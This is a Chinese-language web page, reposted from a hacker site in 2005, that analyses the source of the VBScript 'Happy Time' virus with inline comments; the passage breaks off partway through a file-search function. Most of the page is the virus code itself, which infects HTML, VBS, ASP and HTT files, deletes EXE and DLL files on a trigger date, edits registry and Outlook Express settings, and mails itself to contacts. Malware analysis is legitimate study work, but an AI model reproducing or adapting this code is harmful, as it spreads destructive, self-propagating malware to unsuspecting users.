网页病毒源码解析

来源:互联网 发布:mac连接usb没反应 编辑:程序博客网 时间:2024/04/30 21:59
网页病毒源码解析
作者:未知 来源:CnXHacker.Net 加入时间:2005-6-16 阅读次数:135405

Rem I am sorry! happy time  
On Error Resume Next  
Mload  
’以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。  

Sub mload()  
On Error Resume Next  
mPath = Grf()  
Set Os = CreateObject("Scriptlet.TypeLib")  
Set Oh = CreateObject("Shell.Application")  
’建立枚举对象,避开了安全审核  
If IsHTML Then  
’调用IsHtml函数,如果是Html,就小写……  
mURL = LCase(document.Location)  
If mPath = "" Then  
Os.Reset  
Os.Path = "C:/Help.htm"  
Os.Doc = Lhtml()  
Os.Write()  
’如果mPath为空,就在C盘下生成Help.htm  
Ihtml = ""  
’超文本的内容,并指向C:/Help.Htm  
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)  
Else  
If Iv(mPath, "Help.vbs") Then  
setInterval "Rt()", 10000  
Else  
m = "hta"  
If LCase(m) = Right(mURL, Len(m)) Then  
id = setTimeout("mclose()", 1)  
’设置超时条件  
main  
Else  
Os.Reset()  
Os.Path = mPath & "/" & "Help.hta"  
Os.Doc = Lhtml()  
Os.write()  
Iv mPath, "Help.hta"  
’生成Help.hta  
End If  
End If  
End If  
Else  
Main  
’都不是,就执行main函数  
End If  
End Sub  
主函数  
Sub main()  
On Error Resume Next  
Set Of = CreateObject("Scripting.FileSystemObject")  
’不用说,创建FileSystemObject对象啦  
Set Od = CreateObject("Scripting.Dictionary")  
’创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组  
Od.Add "html", "1100"  
Od.Add "vbs", "0100"  
Od.Add "htm", "1100"  
Od.Add "asp", "0010"  
’向Dictionary对象添加要感染的项目对  
Ks = "HKEY_CURRENT_USER/Software/"  
’使用变量以减少代码长度  
Ds = Grf()  
Cs = Gsf()  
If IsVbs Then  
’如果是VBS  
If Of.FileExists("C:/help.htm") Then  
Of.DeleteFile ("C:/help.htm")  
’如果c:/help.htm存在,就删掉,消灭遗留的痕迹  
End If  
Key = CInt(Month(Date) + Day(Date))  
If Key = 13 Then  
’如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)  
Od.RemoveAll  
Od.Add "exe", "0001"  
Od.Add "dll", "0001"  
’就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用  
End If  
Cn = Rg(Ks & "Help/Count")  
’读注册表中的HKEY_CURRENT_USER/Software/Help/Count键值 
If Cn = "" Then  
Cn = 1  
’如果Count为0,就设为1  
End If  
Rw Ks & "Help/Count", Cn + 1  
’添加HKEY_CURRENT_USER/Software/Help/Count键值,值为2  
f1 = Rg(Ks & "Help/FileName")  
’再读HKEY_CURRENT_USER/Software/Help/FileName键值  
f2 = FNext(Of, Od, f1)  
’得到该文件的文件名  
fext = GetExt(Of, Od, f2)  
’得到该文件扩展名的代号  
Rw Ks & "Help/FileName", f2  
’添加键值  
If IsDel(fext) Then  
’如果扩展名代号的第四个字符为1——即0001(exe、dll)  
f3 = f2  
’储存文件名  
f2 = FNext(Of, Od, f2)  
’得到文件的文件名?  
Rw Ks & "Help/FileName", f2  
’写注册表  
Of.DeleteFile f3  
’删除文件  
Else  
If LCase(WScript.ScriptFullname) <> LCase(f2) Then  
’如果不是集合中的文件  
Fw Of, f2, fext  
End If  
End If  
If (CInt(Cn) Mod 366) = 0 Then  
If (CInt(Second(Time)) Mod 2) = 0 Then  
’使用 Cint函数强制执行转换,并发邮件  
Tsend  
Else  
adds = Og  
Msend (adds)  
End If  
End If  
wp = Rg("HKEY_CURRENT_USER/Control Panel/desktop/wallPaper")  
If Rg(Ks & "Help/wallPaper") <> wp Or wp = "" Then  
’比较桌面墙纸是否已改变  
If wp = "" Then  
n1 = ""  
n3 = Cs & "/Help.htm"  
Else  
mP = Of.GetFile(wp).ParentFolder  
n1 = Of.GetFileName(wp)  
n2 = Of.GetBaseName(wp)  
n3 = Cs & "/" & n2 & ".htm"  
End If  
Set pfc = Of.CreateTextFile(n3, True)  
mt = Sa("1100")  
’创建超文本  
pfc.Write "<" & "HTML><" & "body bgcolor=’#007f7f’ background=’" & n1 & "’><  
" & "/Body><" & "/HTML>" & mt  
’超文本的内容  
pfc.Close  
Rw Ks & "Help/wallPaper", n3  
Rw "HKEY_CURRENT_USER/Control Panel/desktop/wallPaper", n3  
’将带毒的超文本设置成活动桌面  
End If  
Else  
Set fc = Of.CreateTextFile(Ds & "/Help.vbs", True)  
fc.Write Sa("0100")  
’创建vbs文件  
fc.Close  
bf = Cs & "/Untitled.htm"  
Set fc2 = Of.CreateTextFile(bf, True)  
fc2.Write Lhtml  
fc2.Close  
’创建windows下的untitled.htm  
oeid = Rg("HKEY_CURRENT_USER/Identities/Default User ID")  
oe = "HKEY_CURRENT_USER/Identities/" & oeid & "/Software/Microsoft/Outlook E  
xpress/5.0/Mail"  
MSH = oe & "/Message Send HTML"  
CUS = oe & "/Compose Use Stationery"  
SN = oe & "/Stationery Name"  
Rw MSH, 1  
Rw CUS, 1  
Rw SN, bf  
’在Hkey_Current_User\Identities\\Software\Microsoft\Outlook Express\5.0\Mail下添加三个键值Message Send HTML 、Compose Use Stationery 和Stationery Name,前两个的值为1,后一个指向windows/untitled.htm  
Web = Cs & "/WEB"  
Set gf = Of.GetFolder(Web).Files  
’得到windows/web文件夹里的文件  
Od.Add "htt", "1100"  
’向Dictionary里添加htt项目对  
For Each m In gf  
’遍历windows/web下的每一个文件  
fext = GetExt(Of, Od, m)  
’得到每个文件的扩展名  
If fext <> "" Then  
’如果扩展名不为空,则  
Fw Of, m, fext  
End If  
Next  
End If  
End Sub  
Sub mclose()  
document.Write "<" & "title>I am sorry!’写入I am sorry,并关闭。以此作为感染与否的标记  
window.Close  
End Sub  

’##########################################################################  
Sub Fw(Of, S, n)  
’此时S为文件名,n为文件扩展名  
Dim fc, fc2, m, mmail, mt  
On Error Resume Next  
Set fc = Of.OpenTextFile(S, 1)  
’只读模式打开该文件  
mt = fc.ReadAll  
’读入全部文件流  
fc.Close  
’关闭文件  
If Not Sc(mt) Then  
’如果未感染过  
mmail = Ml(mt)  
mt = Sa(n)  
Set fc2 = Of.OpenTextFile(S, 8)  
’打开文件并在文件末尾进行写操作  
fc2.Write mt  
fc2.Close  
Msend (mmail)  
’发带毒邮件  
End If  
End Sub  

’############################################################  
Function Sc(S)  
mN = "Rem I am sorry! happy time"  
If InStr(S, mN) > 0 Then  
’如果读入的文件流中有Rem I am sorry! happy time  
Sc = True  
Else  
Sc = False  
’表示已感染过,返回True,否则为False  
End If  
End Function  

’###########################################################  
Function FNext(Of, Od, S)  
Dim fpath, fname, fext, T, gf  
On Error Resume Next  
fname = ""  
T = False  
’初始化变量  
If Of.FileExists(S) Then  
’如果S存在于当前文件夹中  
fpath = Of.GetFile(S).ParentFolder  
’得到文件的父目录名  
fname = S  
’得到文件名  
ElseIf Of.FolderExists(S) Then  
’不存在于当前文件夹中,则得到目录名  
fpath = S  
T = True  
Else  
fpath = Dnext(Of, "")  
’得到当前盘符——即根目录  
End If  
Do While True  
Set gf = Of.GetFolder(fpath).Files  
’得到当前目录下的所有文件对象  
For Each m In gf  
’遍历每个文件  
If T Then  
If GetExt(Of, Od, m) <> "" Then  
’如果该文件是文件集合中的一员  
FNext = m  
’则返回该文件名,供调用的函数或过程使用——感染或删除之  
Exit Function  
End If  
ElseIf LCase(m) = LCase(fname) Or fname = "" Then  
’如果没文件  
T = True  
End If  
Next  
fpath = Pnext(Of, fpath) ’  
Loop  
End Function  
原创粉丝点击